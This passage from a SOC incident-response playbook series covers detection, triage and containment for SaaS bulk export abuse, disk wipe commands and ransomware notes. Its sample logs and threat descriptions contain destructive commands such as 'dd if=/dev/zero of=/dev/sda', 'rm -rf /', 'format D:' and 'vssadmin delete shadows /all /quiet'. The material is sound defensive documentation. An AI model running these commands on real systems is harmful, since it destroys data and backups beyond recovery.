- API-based extraction
- Token-based export
- Cross-cloud transfer

SaaS export abuse is dangerous because:

- It bypasses traditional DLP if misconfigured
- It may not generate abnormal network alerts
- It can extract terabytes of historical data quickly

This detection becomes critical when paired with:

- Privileged account login
- TOR/VPN access
- OAuth token creation
- Role assignment change
- Mass file enumeration

4. Detection Logic

Trigger alert when:

- Full mailbox export initiated
- SharePoint / Drive bulk export requested
- CRM full dataset export triggered
- SaaS API export exceeds baseline threshold
- Export sent to new external cloud account

Increase severity if:

- Admin account involved
- Export outside business hours
- Export volume exceeds baseline

- New OAuth application created
- Login originated from TOR/VPN

5. Log Data

Microsoft 365 Audit Logs

2026-08-03 01:22:41 | LOGIN_SUCCESS | user=admin.cloud | ip=185.220.101.33 | asn=VPN

2026-08-03 01:24:11 | ROLE_ASSIGNED | user=admin.cloud | role=Global Admin

2026-08-03 01:28:52 | MAILBOX_EXPORT_INITIATED | target=finance@corp.com | size=74GB

2026-08-03 01:34:17 | SHAREPOINT_EXPORT | site=Finance-Records | size=1.2TB

Google Workspace Logs

2026-08-03 02:01:10 | DRIVE_EXPORT | user=admin.cloud | total_files=145,332

Pattern shows privilege escalation followed by large export activity.

6. Possible Attack Scenarios

Scenario A – Double Extortion Ransomware

Attacker exfiltrates cloud data before deploying ransomware to demand payment.

Scenario B – Cloud Account Takeover

Stolen admin credentials used to export entire tenant data.

Scenario C – Insider Data Theft

Employee exports CRM and HR data before leaving organisation.

Scenario D – Token Abuse

Malicious OAuth app performs background export using delegated permissions.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Is export approved or scheduled
- Is user authorised for export
- Is export size abnormal
- Was privilege recently granted

- Source IP reputation

Immediate Checks

- Change management records
- Admin activity history
- Baseline export behaviour
- ASN / geolocation
- OAuth token creation logs

Decision

- Approved export → Validate and close
- Suspicious export attempt → Escalate to L2
- Large unauthorised export → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Correlate with login anomalies
- Review OAuth applications created
- Review role assignment history
- Check for TOR/VPN login
- Validate data volume against baseline

High-Risk Indicators

- Admin + VPN + export
- New OAuth app + bulk export
- Export + DLP alerts
- Export + API token creation
- Export to new external tenant

8. Incident Escalation Criteria

Escalate to Incident if:

- Large export initiated unexpectedly
- Privilege escalation precedes export

- Export volume abnormal for user
- Data transferred to unknown cloud account

Escalate to Critical if:

- Entire tenant export initiated
- Multiple SaaS platforms exported
- Sensitive datasets involved (HR, Finance, PII)
- TOR/VPN login combined with export

Immediate IR engagement required.

9. Containment Actions

Immediate SOC Actions

- Suspend user account
- Terminate active sessions
- Revoke OAuth tokens
- Disable API keys
- Stop export job

Extended IR Actions

- Block destination cloud account
- Enable emergency DLP restrictions
- Review data exposure scope
- Reset privileged credentials
- Notify legal and compliance

10. Recovery & Validation

Confirm:

- Export job terminated
- No further data transfer ongoing
- OAuth apps removed
- Privileges reverted
- No secondary accounts involved

Assess:

- What data was exported
- Data classification impact
- Regulatory reporting requirements

11. Prevention & Hardening

Control: Conditional Access

Action: Restrict export features to managed devices

Control: Privileged Access Management

Action: Just-in-time admin access

Control: DLP

Action: Alert on large SaaS exports

Control: OAuth Governance

Action: Monitor and restrict third-party apps

Control: Behaviour Analytics

Action: Detect export + privilege + anomaly pattern

12. Mapping to NIST Incident Response

- Preparation: DLP, conditional access
- Detection: SaaS export anomaly alert
- Analysis: Role and behaviour correlation
- Containment: Suspend account and revoke tokens
- Eradication: Remove malicious OAuth or API access
- Recovery: Controlled restoration of access
- Lessons Learned: Tighten SaaS export governance

13. SOC Perspective

SaaS export abuse is modern cloud exfiltration. It does not look like malware. It does not look like network intrusion. It looks like normal admin behaviour.

But when large exports occur unexpectedly, especially after privilege changes or anonymised logins, it is often:

- Pre-ransomware staging

- Mass intellectual property theft
- Insider data exfiltration

Treat it as:

- Critical by default
- Immediate containment required
- Cloud-level breach investigation

[IMPACT] PLAYBOOK 99: DISK WIPE COMMANDS – DATA DESTRUCTION

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-099
- Use Case Name: Disk Wipe Commands
- MITRE ATT&CK Tactic: Impact
- Technique ID: T1485
- Technique Name: Data Destruction
- Threat Category: Destructive Attack / Wiper Activity
- Severity (Default): Critical
- Escalation Severity: Critical (Immediate IR & Crisis Activation)
- Applies To: Windows Servers, Linux Servers, Endpoints, Virtual Machines, Cloud Instances, Backup Systems
- SOC Ownership: L1 → L2 → IR Lead → Crisis Management
- Incident Type: Active Destruction / Infrastructure Compromise

2. Threat Description

The attacker executes destructive disk wipe or filesystem corruption commands to irreversibly destroy data and systems.

Common methods include:

- Windows: format, cipher /w, diskpart clean, PowerShell disk wipe
- Linux: rm -rf /, dd if=/dev/zero, shred, mkfs
- ESXi: datastore deletion
- Cloud: instance volume deletion
- Backup repository wipe

This is typically final-stage activity in:

- Ransomware operations
- State-sponsored sabotage
- Insider retaliation
- Wiper malware campaigns

Unlike encryption, wipe operations aim to permanently destroy recoverability.

3. Why This Detection Matters in 2026

In 2026, destructive attacks are increasing, especially in:

- Financial sector
- Critical infrastructure
- Government networks
- Geopolitical targets

Modern attackers:

- Exfiltrate data first
- Disable backups
- Wipe disks to maximise impact
- Target hypervisors and backup servers

Disk wipe commands often mean:

- Active breach
- Last-stage impact
- Immediate business disruption

This is no longer a “possible” attack. It is an emergency.

4. Detection Logic

Trigger alert when:

- Disk formatting commands executed
- Raw disk write operations detected
- Large-scale file deletion exceeding threshold
- Filesystem recreation observed
- Volume deletion in cloud logs

Increase severity if:

- Command executed by privileged account
- Occurs after lateral movement
- Backup servers targeted
- Shadow copies deleted prior

- TOR/VPN login observed earlier

5. Log Data

Windows EDR Logs

2026-10-12 02:11:32 | PROCESS_CREATE | user=svc-admin | cmd="diskpart /s wipe.txt"
2026-10-12 02:11:45 | PROCESS_CREATE | cmd="format D: /FS:NTFS /Q /Y"
2026-10-12 02:12:02 | SHADOW_COPY_DELETE | vssadmin delete shadows /all /quiet

Linux Syslog

2026-10-12 02:15:01 | CMD_EXEC | user=root | cmd="dd if=/dev/zero of=/dev/sda bs=1M"
2026-10-12 02:15:04 | CMD_EXEC | user=root | cmd="rm -rf /var/lib/mysql"

Cloud Logs

2026-10-12 02:18:10 | VOLUME_DELETE | instance=prod-db-01
2026-10-12 02:19:55 | SNAPSHOT_DELETE | volume=backup-storage-01

Pattern shows coordinated destruction.

6. Possible Attack Scenarios

Scenario A – Ransomware Failure Escalation
Attacker fails to obtain ransom and executes wipe commands.

Scenario B – Nation-State Wiper Attack
Destructive malware deployed to permanently disable systems.

Scenario C – Insider Sabotage
Privileged admin intentionally wipes infrastructure.

Scenario D – Hypervisor-Level Destruction
Attacker wipes ESXi datastores, impacting multiple VMs simultaneously.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Is this a legitimate maintenance operation
- Is change ticket approved
- Which user executed command

- Scope of affected systems
- Is wipe ongoing

Immediate Checks

- Change management system
- Privileged account validation
- Lateral movement evidence
- Shadow copy deletion logs
- Backup server activity

Decision

- Approved maintenance → Validate documentation
- Unauthorised wipe command → Immediate Incident
- Active wipe in progress → Emergency escalation

L2 Analyst – Deep Analysis

Analysis Steps

- Identify initial access vector
- Determine scope of destruction
- Check for exfiltration prior
- Review backup integrity
- Validate if malware deployed

High-Risk Indicators

- Shadow copy deletion + disk wipe
- VPN login + privileged wipe
- Backup deletion + datastore wipe
- Multi-host simultaneous wipe
- Service account misuse

8. Incident Escalation Criteria

Escalate to Critical immediately if:

- Active disk wipe detected

- Backup systems targeted
- Multiple servers affected
- Hypervisor storage impacted
- Cloud volume deletions ongoing

Activate:

- IR team
- Crisis management
- Executive notification
- Business continuity plan

9. Containment Actions

Immediate SOC Actions

- Isolate affected hosts
- Disable compromised accounts
- Block attacker IP
- Stop malicious processes (if possible)
- Preserve logs immediately

Extended IR Actions

- Disconnect affected network segments
- Protect backup infrastructure
- Lock down privileged access
- Enable emergency DLP and monitoring
- Capture forensic images

Time is critical. Containment window is small.

10. Recovery & Validation

Confirm:

- Wipe activity stopped
- Compromised credentials reset
- Backups intact and verified
- Malware removed
- No further destructive commands executed

Recovery Steps:

- Restore from verified offline backups
- Rebuild systems from gold image
- Validate integrity before reconnecting
- Monitor aggressively post-restoration

11. Prevention & Hardening

Control: Privileged Access Management

Action: Enforce just-in-time admin access

Control: Backup Protection

Action: Immutable backups with air-gap

Control: EDR

Action: Alert on destructive command patterns

Control: Cloud Monitoring

Action: Alert on volume and snapshot deletion

Control: Segmentation

Action: Separate backup infrastructure

12. Mapping to NIST Incident Response

- Preparation: Immutable backups, least privilege
- Detection: Destructive command alert
- Analysis: Scope and attacker pathway
- Containment: Isolate and disable access
- Eradication: Remove malware and persistence
- Recovery: Restore from secure backups
- Lessons Learned: Strengthen backup isolation

13. SOC Perspective

Disk wipe commands are not reconnaissance. They are not staging. They are impact.

When detected:

- Assume breach.
- Assume active destruction.
- Assume business disruption.

This is:

- Critical by default
- Crisis-level incident
- Immediate executive awareness

[IMPACT] PLAYBOOK 100: RANSOMWARE NOTE DETECTED – MONETISATION PHASE

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-100
- Use Case Name: Ransomware Note Detected
- MITRE ATT&CK Tactic: Impact
- Technique ID: T1486
- Technique Name: Data Encrypted for Impact
- Threat Category: Ransomware / Cyber Extortion
- Severity (Default): Critical
- Escalation Severity: Crisis-Level (Executive + Legal Activation)
- Applies To: Endpoints, File Servers, Virtual Machines, Cloud Storage, Backup Systems
- SOC Ownership: L1 → L2 → IR Lead → CISO → Crisis Management
- Incident Type: Active Ransomware / Extortion Event

2. Threat Description

A ransom note file is detected on one or more systems following file encryption activity.

Common indicators:

- README_RECOVER_FILES.txt
- DECRYPT_INSTRUCTIONS.html
- *.locked / *.encrypted extensions
- Desktop wallpaper changed to ransom message
- Scheduled task deploying ransom notes

This marks the transition from:

Intrusion → Lateral Movement → Encryption → Monetisation

At this stage, the attacker:

- Has already encrypted data

- May have exfiltrated sensitive information
- Is demanding payment (crypto, privacy coin)
- May threaten public data leak

This is no longer a prevention scenario. It is an active impact event.

3. Why This Detection Matters in 2026

In 2026, ransomware operations are:

- Double extortion (encrypt + leak)
- Triple extortion (add DDoS or customer harassment)
- Automated and faster (under 2 hours dwell time in some cases)
- Targeting backups and hypervisors first

The ransom note is:

- A confirmation of compromise
- A business continuity threat
- A regulatory event trigger

At this point:

- Financial impact is likely
- Legal exposure is possible
- Regulatory reporting may be mandatory

4. Detection Logic

Trigger alert when:

- File created matching ransom note patterns
- Mass file extension changes detected
- Desktop wallpaper changed via script
- Encryption tools executed (e.g., suspicious crypto libraries)

- Shadow copy deletion precedes note creation

Increase severity if:

- Multiple hosts generate ransom notes
- Backup servers affected
- Domain controller impacted
- Data exfiltration observed prior
- TOR/VPN access detected before encryption

5. Log Data

EDR Logs

2026-11-03 01:12:45 | FILE_CREATE | host=FS-01 | file=README_RECOVER_FILES.txt
2026-11-03 01:12:46 | MASS_FILE_RENAME | count=38421 | extension=.locked
2026-11-03 01:12:47 | PROCESS_CREATE | cmd="vssadmin delete shadows /all /quiet"
2026-11-03 01:13:01 | REGISTRY_CHANGE | wallpaper updated to ransom.bmp

SIEM Correlation

2026-11-03 00:45:12 | LOGIN_SUCCESS | user=svc-backup | ip=TOR
2026-11-03 00:52:09 | PRIV_ESCALATION | user=svc-backup | added to Domain Admins

Pattern indicates full attack lifecycle completed.

6. Possible Attack Scenarios

Scenario A – Double Extortion

Attacker exfiltrates sensitive data, encrypts systems, and demands ransom.

Scenario B – Ransomware-as-a-Service (RaaS)

Affiliate deploys automated encryption payload after initial access broker compromise.

Scenario C – Backup Destruction First

Attacker deletes backups, then encrypts production systems.

Scenario D – Cloud + On-Prem Hybrid Attack

SaaS exports abused before encryption to maximise leverage.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- How many hosts affected
- Is encryption still ongoing
- Is note identical across hosts
- Is domain controller impacted
- Are backups reachable

Immediate Checks

- Identify patient zero
- Validate network segmentation
- Check backup integrity
- Confirm encryption extension pattern
- Identify attacker account used

Decision

- Single host isolated → Contain immediately
- Multiple hosts → Activate Major Incident
- Domain-wide encryption → Crisis Response

L2 Analyst – Deep Analysis

Analysis Steps

- Identify initial access vector
- Confirm data exfiltration prior to encryption
- Review privilege escalation events
- Analyse lateral movement path
- Identify ransomware strain (hash/intel lookup)

High-Risk Indicators

- Shadow copy deletion + note creation

- Backup repository access prior
- TOR login + admin privilege
- Simultaneous multi-host encryption
- Scheduled task deploying note

8. Incident Escalation Criteria

Immediate Critical Escalation if:

- Multiple servers encrypted
- Backup systems compromised
- Sensitive data exfiltrated
- Customer data affected
- Production systems down

Activate:

- IR Team
- CISO
- Legal Counsel
- Communications
- Business Continuity
- Regulatory Reporting Team

9. Containment Actions

Immediate SOC Actions

- Isolate infected hosts from network
- Disable compromised accounts
- Block attacker IPs
- Disable SMB file shares (if spreading)

- Preserve forensic evidence

Extended IR Actions

- Segmentation lockdown
- Disable domain admin tokens
- Secure backup infrastructure
- Preserve memory images
- Begin ransomware strain attribution

Do NOT immediately power off systems unless required. Evidence preservation is critical.

10. Recovery & Validation

Recovery Steps:

- Verify clean offline backups
- Rebuild from gold image
- Restore critical systems first
- Rotate all privileged credentials
- Validate no residual persistence

Validation Checks:

- No scheduled tasks remaining
- No unknown admin accounts
- No malicious GPOs
- No additional ransom notes appearing
- No outbound exfiltration traffic

11. Prevention & Hardening

Control: Immutable Backups

Action: Enforce air-gapped backup storage

Control: PAM

Action: Just-in-time admin access

Control: EDR

Action: Alert on mass file rename

Control: Network Segmentation

Action: Limit east-west movement

Control: Data Loss Prevention

Action: Monitor bulk data transfers

Control: Identity Monitoring

Action: Detect TOR + admin access

12. Mapping to NIST Incident Response

- Preparation: Backup isolation, least privilege
- Detection: Ransom note alert + encryption telemetry
- Analysis: Determine scope, exfiltration, attack chain
- Containment: Host isolation, account disable
- Eradication: Remove persistence and malware
- Recovery: Restore from secure backup
- Lessons Learned: Strengthen identity, segmentation, monitoring

13. SOC Perspective

A ransom note is not an early warning.

It is confirmation that:

- The attacker succeeded.
- Encryption is complete or in progress.
- Monetisation phase has started.

Treat it as:

- Critical by default
- Major Incident by policy
- Crisis-level when multi-host